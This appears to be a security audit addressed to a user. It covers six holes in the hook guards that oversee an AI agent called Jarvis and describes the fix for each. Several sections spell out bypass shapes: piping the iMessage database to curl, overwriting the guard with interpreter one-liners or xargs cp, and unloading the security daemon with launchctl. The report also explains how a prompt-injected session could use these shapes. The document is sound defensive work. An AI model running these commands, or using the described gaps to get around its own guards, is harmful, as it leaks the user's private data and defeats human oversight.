Six holes in the guard, and what closes each

On 1 September 2026, as part of moving Jarvis to Fable 5.1, 29 test commands were fired at the security guards on the Mac Studio, the way an attacker or a mistaken session would fire them. 19 were stopped as designed, 9 got through, and 1 could not be tested. None of the 9 is new: every one was open before the model changed, and the guard's own test suite is green because it has never contained a test for these shapes. Status on 2 September: you approved all six and they are live, with 21 new tests (156 of 156 green on the guard, 11 of 11 on the read-guard). The one thing not switched on is the built-in write-protection behind item 1; the section below says exactly why and what the choice is.

How to read this in twenty seconds.

The issues

  1. Critical A one-line script can overwrite the guard itself, and the guard lets it.
  2. High Copying your messages database to the internet is allowed whenever you are at the keyboard.
  3. High Switching off the security daemon is not gated at all.
  4. Medium The guard that stops secret files being read into a session covers one file family out of six.
  5. Medium The purchase hard-stop has never run once, because of a one-line registration mistake.
  6. Low The guard blocks a harmless arrow inside quoted text, 31 times in 24 days.
IssueSeverityWhat closes itStatus
1. Script overwrites the guardCriticalGuard now blocks interpreter one-liners and piped paths that write a protected file (3 tests). Built-in write-protection proven in an isolated test but not switched onGuard layer live OS layer: one decision open, see section 1
2. Messages database to the internetHighThe at-the-keyboard exemption no longer applies when a sensitive store is named; ffmpeg-to-URL covered too (5 tests)Live
3. Security daemon switched offHighUnloading a security or watchdog job now asks; an ordinary job stays silent (2 tests)Live
4. Secret files readableMediumRead-guard covers six families; a shell dump of the environment or Doppler file asks (8 tests)Live
5. Purchase stop never runsMediumRegistration line fixed in both settings files; the check now runs on every browser actionLive
6. Arrow false positiveLowAn arrow before a protected path is no longer read as a redirect; a real redirect still blocks (1 test plus 4 existing)Live

Test method: each guard was fed the exact JSON envelope Claude Code hands it, on standard input, and its verdict read from what it printed. Nothing was executed. The same 29 payloads were run against the guard's 6 August version; every hole below was open then too.

1. A one-line script can overwrite the guard itself

What it is
The guard protects its own file, and the other security files, by watching for copy, move, in-place-edit and permission commands aimed at a protected path. It never looks inside a python3 -c "..." or node -e "..." one-liner, and a path passed by pipe (echo <path> | xargs cp evil.sh) never appears where the guard looks. All three shapes replaced the guard with junk in the test, and all three were allowed both with you at the keyboard and with Jarvis running unattended. There are no tests for this class in the guard's 142-test suite.
What could happen
A session that has been tricked by a web page, an email, or a document, or one that is simply wrong about what it is doing, disables every other protection with one command, and nothing records that it happened.
What closes it
Two layers. (a) Claude Code has a built-in file write-protection (the sandbox setting). It is present on this machine and switched off. Turned on with a deny-write list, the operating system refuses the write no matter how the command is spelt, which is the only thing that closes the whole class rather than the three shapes found. (b) Teach the guard to look inside interpreter one-liners and piped paths for a protected file, and add the missing tests, so the guard catches the known shapes even where the built-in protection is not switched on.
Why this fix, and why a pilot
The security daemon copies the canonical guard into the live hooks folder three times a day. A write-protection scope that covers that folder would break the daemon's own sync and could leave the machine running a stale guard. So the pilot covers the settings files and the security scripts folder only, watches the daemon for a day, and widens from there.
How robust
(a) is as robust as the operating system for every path listed; a path not on the list stays exposed. (b) is pattern-matching: it stops the shapes we know and the next shape gets through, which is why it is the second layer and not the first.
What it could break
A wrong scope on (a) blocks legitimate writes, loudly. Nothing on (b) beyond a possible false block on a script that writes to a protected path on purpose, which is what the tests are for.
Status
(b) is live. The guard now blocks an interpreter one-liner or a piped path that writes a protected file, and stays silent for a read or for a script that merely mentions such a path in the text it writes.
What the pilot of (a) found
Tested in an isolated session that touched nothing of yours: a write to a denied folder fails with "Operation not permitted" whatever the command looks like, ordinary writes and network calls pass, and the permission prompts stay exactly as they are. So the mechanism does what the page promised. But it cannot be switched on for real yet. Claude Code's own protection also covers a folder called ~/.claude/state, with no way to exempt it, and 45 of Jarvis's scripts write their working state there. Switch it on today and those scripts fail.
The choice
Either move that state folder (roughly 80 files reference it, a careful refactor, then the write-protection goes on and item 1 is closed at the operating-system level), or leave the built-in protection off and rely on the guard layer that is now live, which stops the shapes we know about and not the class. My recommendation is the move, scheduled rather than rushed, because it is the only fix that closes the class.

2. Copying your messages database to the internet is allowed while you are at the keyboard

What it is
The command cat ~/Library/Messages/chat.db | curl --data-binary @- https://somewhere, and its variants through base64, netcat, a Python one-liner or ffmpeg, all pass the guard when a live interactive session is present. The reason is a shortcut written so that ordinary browsing with you present does not prompt constantly: when the session is live, the guard skips its network check entirely. The same command asks when Jarvis runs unattended. This is the exact class of the 6 August 2026 incident, and there are no tests for it.
What could happen
Your iMessage history, mail, or finance data leaves the machine during a normal session, because a page you were reading told the session to do it.
What closes it
Narrow the shortcut: if a command both reads a sensitive local store (the messages database, mail, the keychain, the environment file, the vault, the finance warehouse) and uses a network tool (curl, wget, nc, a Python or Node network call, ffmpeg with a network target), it asks regardless of whether you are present. Add the tests.
How robust
Deterministic for the stores on the list. A file not on the list stays with the model's judgement, which is where it is today.
What it could break
A rare extra prompt when a legitimate command pipes one of those files to the network. I cannot think of one Jarvis does.
Status
Live. The exemption is withdrawn whenever the command names the messages database, mail, the keychain, the environment file, the vault, the Doppler or Claude config, or the finance database; ffmpeg pointed at one of those with a network address asks too.

3. Switching off the security daemon is not gated

What it is
launchctl bootout gui/<uid>/com.jarvis.security-tier1 unloads the daemon that syncs the guard and runs the daily checks. The guard does not know the word launchctl, and the command names a job label rather than a protected file, so it passes silently. No tests exist. Note that the previous session ran launchctl bootout twice, legitimately, to retire two old jobs; the gate has to tell those apart.
What closes it
Make launchctl bootout / unload / disable / remove of any com.jarvis.security-* or watchdog label ask first. Other labels stay ungated, which is what keeps the retire-a-job case frictionless.
How robust
Deterministic for the named labels.
What it could break
One prompt each time a security job is deliberately unloaded, which happens a few times a year.
Status
Live, as ask. Unloading, disabling, removing or stopping any job whose name carries security, watchdog or guard asks first; every other job is untouched.

4. The read-guard covers one file family

What it is
A 45-line guard stops the Read tool opening the security bot's configuration and the watchdog's configuration. That is all it stops. Reading ~/.env, the encrypted vault image, the messages database, the Doppler configuration and the Claude configuration file (which holds the Maps key) all pass this guard and are left to the model's judgement. A shell cat ~/.env passes the same way.
What closes it
Extend the list to those six files for the Read tool (a session never has a legitimate reason to read a secret file into its own context), and make a shell dump of the environment file or the Doppler configuration ask. The sanctioned way of using a secret, fetching it inside a shell variable so it never lands in the transcript, stays exactly as it is.
How robust
Deterministic for the listed files; the model's judgement still covers everything else.
What it could break
Nothing that is done today on purpose.
Status
Live. The Read tool is refused on the environment file, the vault image, the messages database, the Doppler config, the Claude config and the credential store; a shell print of the environment or Doppler file asks. The non-secret .env.local stays readable on purpose.

5. The purchase hard-stop has never run

What it is
You named three things that must always ask you: deletions, sends, and purchases. The purchase hook exists, and it is written so that once the browser reaches a payment page, every further click asks you. Its registration line says it should run on any browser tool whose name starts with mcp__claude-in-chrome__ or mcp__playwright__. Claude Code matches that line against the whole tool name, not the start, so it has matched nothing: 0 runs against 1,183 browser navigations in the log since 11 August.
What closes it
One line in the registration: mcp__claude-in-chrome__.*|mcp__playwright__.*. The hook then runs on every browser call, stays silent until a checkout page, and asks from there.
How robust
Deterministic on the checkout URL patterns it knows. It documents what it does not catch: a one-click buy that never visits a checkout page, and a purchase through an API with a stored token.
What it could break
A few milliseconds on each browser call, and prompts on checkout pages, which is the point. Cart pages are deliberately excluded so the shopping skills stay quiet.
Status
Live. The line is fixed in both copies of the settings file, so the daemon's daily sync cannot undo it.

6. The guard blocks a harmless arrow inside quoted text

What it is
When a command contains an ASCII arrow (->) inside a quoted block of text, one check in the guard reads the > as a file redirect and blocks. The audit found 31 such blocks in the retained 24-day log and reports that the guard already has the quote-masking needed, a few lines above the check that skips it.
What closes it
Apply that existing masking to the one check, with a test that a quoted arrow passes and a real redirect still blocks.
How robust
It narrows a false positive; the real-redirect test keeps the block honest.
What it could break
Nothing, if the real-redirect test holds. It is on this page only because it changes a guard regex, which you asked to be told about every time.
Status
Live. The arrow exemption the guard already applied to one of its views now applies to all of them; the four existing redirect tests still block.

What held, so you know what is not on this list

Two things are outside the six, noted so they are not mistaken for covered. The git-level commit check runs no tests when a shell guard changes; from inside a Claude Code session a separate gate does re-run the hook test suite (it did today), so the gap is a commit made from a plain terminal. And the guard's own timeout path fails open by design of the wrapper; not reproducible without a hang, inferred from the code.

Sources

Payload firing and verdicts: knowledge/projects/migrate-fable-5-1-2026-09-01/agent-reports/03-security-controls-payload-firing.md (29 controls, 5 zero-coverage classes, 4 open bypasses). Guard under test: guard-external-actions.sh, 3,395 lines, 142 tests. Purchase hook registration read from ~/.claude/settings.json on 1 September 2026; navigation count from the hook telemetry log since 11 August. Fable 5.1 safety facts that frame the appraisal: Anthropic system card, sections 3.2, 5.2 and 6.2.1.